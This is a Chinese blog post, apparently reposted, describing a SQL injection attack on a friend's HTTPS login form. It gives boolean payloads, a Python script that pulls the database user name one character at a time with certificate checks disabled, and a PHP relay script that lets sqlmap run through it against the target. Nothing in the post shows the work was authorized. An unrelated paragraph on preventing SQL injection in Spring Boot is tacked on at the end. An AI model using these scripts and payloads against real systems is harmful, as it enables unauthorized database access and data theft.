一次sql注入中转

今天一朋友丢过来一个注入让我看看

url:http://xxxx/

先看下页面

常规测试一下

用户名输入:' or 1=1 -- -

密码任意

返回

用户名输入:' or 1=2 -- -

返回

 

基本可以判断存在注入

http request:

POST /xxxx.php HTTP/1.1
Host: xxxx
Connection: keep-alive
Content-Length: 56
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=q7m1tvv7gi017o9t86uck332e6

email=%27+or+1%3Dif%281%3D1%2C1%2C2%29--+-&password=fdaf

email:

email=' or 1=if(1=1 *,1,2)-- -

本以为这样我们就可以拿到sqlmap跑

然后sqlmap报错了

  

[14:19:03] [CRITICAL] can't establish SSL connection

应该于https 证书有关,sqlmap貌似不能忽略证书,谷歌也没找到解决方法。

但是不死心

用py撸吧

import requests
import warnings
warnings.filterwarnings("ignore")

b = range(32,127)
d = range(1,20)
for l in d:
    for a in b:
        c="' or 1=if(1=1 and ascii(substr(user(),%s,1))=%s,1,2)-- -"% (l,a)
        payload = {"email":c,"password":"aaa"}
        r = requests.post("https://x.x.x.x/ad.php",payload,verify=False)
        s = len(r.text.encode('GBK','ignore'))
        #print s
        if s!=2769:
            print a
            continue
        

这里注意

r = requests.post("https://x.x.x.x/ad.php",payload,verify=False)

verify=False 可以忽略证书

该脚本可以正常得出结果

 

但是不死心 sqlmap 这一神器跑步了 不甘心,所以想到了用中专的方法。

<?php

$url = "https://x.x.x.x/aaa.php";
$sql = $_GET[s];
$s = urlencode($sql);
$params = "email=$s&password=aa";
//echo $params;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
 
curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
 
$output = curl_exec($ch);
curl_close($ch);
$a = strlen($output);
#echo $a;
if($a==2846){
    echo "1";
}else{
    echo "2";
}

这里注意一下,下面的两句忽略证书

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);

然后抄起sqlmap就是干

  

收工。  

 

请勿转载!  

  

转载于:https://www.cnblogs.com/depycode/p/5288243.html

Spring Boot 是基于 Spring 框架构建的,它可以通过自动配置和约定大于配置的方式来轻松创建独立的、生产级别的 Spring 应用程序。然而,Spring Boot 也存在 SQL 注入的风险,因此我们需要掌握相应的防范措施。 SQL 注入漏洞是指黑客利用合法的 SQL 查询接口,向应用程序的后台数据库发送针对数据库的攻击字符串,获取数据库的机密信息或通过修改数据库来破坏系统的安全性。在 Spring Boot 中,SQL 注入漏洞通常出现在动态拼接 SQL 语句的场景中,如使用 JdbcTemplate 进行数据库操作或通过 MyBatis 操作数据库时,如果不做正确的防范,就很容易发生 SQL 注入漏洞。 为了避免 SQL 注入漏洞的问题,我们可以采取以下措施: 1. 使用预处理语句:建议使用预处理语句,这样可以将传入的参数当做参数来处理,而不是当做 SQL 语句的一部分来处理。预处理语句可以有效地解决 SQL 注入问题,也可以提高应用程序的性能。 2. 使用参数中转:使用参数中转可以将直接拼接 SQL 语句的方式改为将参数值插入到预定义的 SQL 语句当中,从而避免 SQL 注入漏洞的风险。 3. 遵循安全编码规范:在进行开发工作时,应该遵循安全编码规范,对输入参数进行合理的检查和过滤,确保不会将恶意的输入传递给后台 SQL 语句。 总而言之,为了防范 SQL 注入漏洞,我们需要采取多种措施,如使用预处理语句、使用参数中转和遵循安全编码规范等,以确保应用程序的安全性。同时,开发人员也要不断学习新的安全技术和解决方案,提高系统的安全性和鲁棒性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值